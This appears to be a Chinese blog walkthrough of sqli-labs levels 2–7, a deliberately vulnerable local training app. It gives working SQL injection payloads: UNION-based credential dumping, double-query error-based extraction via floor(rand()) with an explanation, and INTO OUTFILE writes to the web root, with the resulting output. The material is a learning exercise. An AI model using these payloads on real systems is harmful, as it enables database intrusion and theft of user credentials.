用id=’测试,发现报错,根据报错信息发现第二关的参数是整形,直接构造payload:
http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,group_concat(username),group_concat(password) from users%23
先输入id=’测试,发现报错,错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’) LIMIT 0,1’ at line 1
和第一关相比多了括号,直接构造payload:
http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,group_concat(username),group_concat(password) from users%23
使用id=’没有报错,说明’被当成了字符串的一部分,继续尝试用id=”,报错,错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘“””) LIMIT 0,1’ at line 1
可以看出字符串是被双引号和括号包围的,于是构造payload:
http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,group_concat(username),group_concat(password) from users%23
在本关内无论输入何值,都只会显示You are in………..,所以要利用双查询注入
先来看一下双查询注入的基本原理:
有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来
为了构造双查询注入语句需要先了解下面两个函数:
rand()-返回0-1之间的随机数:
select rand(), rand(), rand(); +--------------------+--------------------+--------------------+ | rand() | rand() | rand() | +--------------------+--------------------+--------------------+ | 0.5133297848639355 | 0.2455426475457313 | 0.6877239138704947 | +--------------------+--------------------+--------------------+ |
floor()-取整,和rand联合使用可以随机返回0或者1,如下:
select floor(rand()*2), floor(rand()*2), floor(rand()*2); +-----------------+-----------------+-----------------+ | floor(rand()*2) | floor(rand()*2) | floor(rand()*2) | +-----------------+-----------------+-----------------+ | 1 | 1 | 0 | +-----------------+-----------------+-----------------+ |
先来构造如下的查询语句,其中a是给floor(rand()*2)起的一个别名,from users的意思是对user表中的每一行都生成一次随机数0或1,group by a就是按照这些随机数0或1进行分组,最后当然是分成两组,一组为0,一组为1
select floor(rand()*2) as a from users group by a; +---+ | a | +---+ | 0 | | 1 | +---+ |
最后在select语句中加入count(*),便可能会报错:
select count(*), floor(rand()*2) as a from users group by a; ERROR 1062 (23000): Duplicate entry '0' for key 'group_key' |
也有可能不报错(如下所示),不过多试几次肯定会报错
select count(*), floor(rand()*2) as a from users group by a; +----------+---+ | count(*) | a | +----------+---+ | 8 | 0 | | 5 | 1 | +----------+---+ |
于是我们便可以把想要的数据通过字符串连接函数和floor(rand()*2)连接在一起,便可以得到想要的信息:
select count(*), CONCAT_WS(CHAR(32,58,32),user(),database(),version(),floor(rand()*2)) as a from users group by a; ERROR 1062 (23000): Duplicate entry 'root@localhost : security : 10.1.32-MariaDB : 0' for key 'group_key' |
了解了双查询注入的基本原理后便可以构造payload:
这里本来想在payload中使用select子句(如下),但不知为何无论如何都不会报错
http://localhost/sqli-labs-master/Less-5/?id=0' union select 1,count(*), CONCAT_WS(CHAR(32,58,32),concat((select group_concat(username) from security.users),(select group_concat(password) from security.users)),floor(rand()*2)) as a from information_schema.tables group by a;
只能在语句中使用基本的函数:
http://localhost/sqli-labs-master/Less-5/?id=0' union select 1,count(*), CONCAT_WS(CHAR(32,58,32),user(),database(),version(),floor(rand()*2)) as a from users group by a%23
结果:
Welcome Dhakkan
Duplicate entry ‘root@localhost : security : 10.1.32-MariaDB : 0’ for key ‘group_key’
(后来经过实验发现这里不报错是因为使用了group_concat函数,具体原因未知,不过可以用limit语句进行单个查询,然后再修改limit后面的数值):
http://localhost/sqli-labs-master/Less-5/?id=1%27%20union%20select%20count(\*),1,%20concat(%27~%27,(select%20email_id%20from%20emails%20limit%200,1),%27~%27,%20floor(rand()\*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%23
关于双查询注入更为具体的解释:
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
原理同第五关,只不过通过报错信息得出双引号替代了单引号,同理构造payload:
http://localhost/sqli-labs-master/Less-6/?id=0" union select 1,count(*), CONCAT_WS(CHAR(32,58,32),user(),database(),version(),floor(rand()*2)) as a from users group by a%23
结果是一样的:
Welcome Dhakkan
Duplicate entry ‘root@localhost : security : 10.1.32-MariaDB : 0’ for key ‘group_key’
来了解一下本关要用到的新语句outfile:
基本格式:
select … from tables into outfile "Path/To/File" |
作用:将检索到的内容转储到文件内
还需要了解的是mysql的两个系统变量datadir(数据库存放路径)和basedir(mysql安装路径),在sql语句中字符串前加@@代表系统变量
由于本关不会在页面内输出查询信息,所以可以通过文件的方式进行输出访问
先第二关查询出datadir和basedir的相关信息:
http://localhost/sqli-labs-master/Less-2/?id=0%20union%20select%201,@@basedir,@@datadir%23
结果:Welcome Dhakkan
Your Login name:C:/xampp/mysql
Your Password:C:\xampp\mysql\data\
xampp的www默认根目录为xampp的安装路径/htdocs,在这里就是C:/xampp/htdocs
第七关的查询语句猜了了半天没猜出来。。。最后看源码发现是有两对括号和一对单引号,构造payload:
http://localhost/sqli-labs-master/Less-7/?id=0')) union select id,username,password from users into outfile ‘C:/xampp/htdocs/outfile.txt’%23
然后在浏览器地址栏输入http://localhost/outfile.txt,结果:
1 Dumb Dumb 2 Angelina I-kill-you 3 Dummy p@ssword 4 secure crappy 5 stupid stupidity 6 superman genious 7 batman mob!le 8 admin admin 9 admin1 admin1 10 admin2 admin2 11 admin3 admin3 12 dhakkan dumbo 14 admin4 admin4
https://soporbear.github.io/2018/05/28/sqli-labs%20less2-7/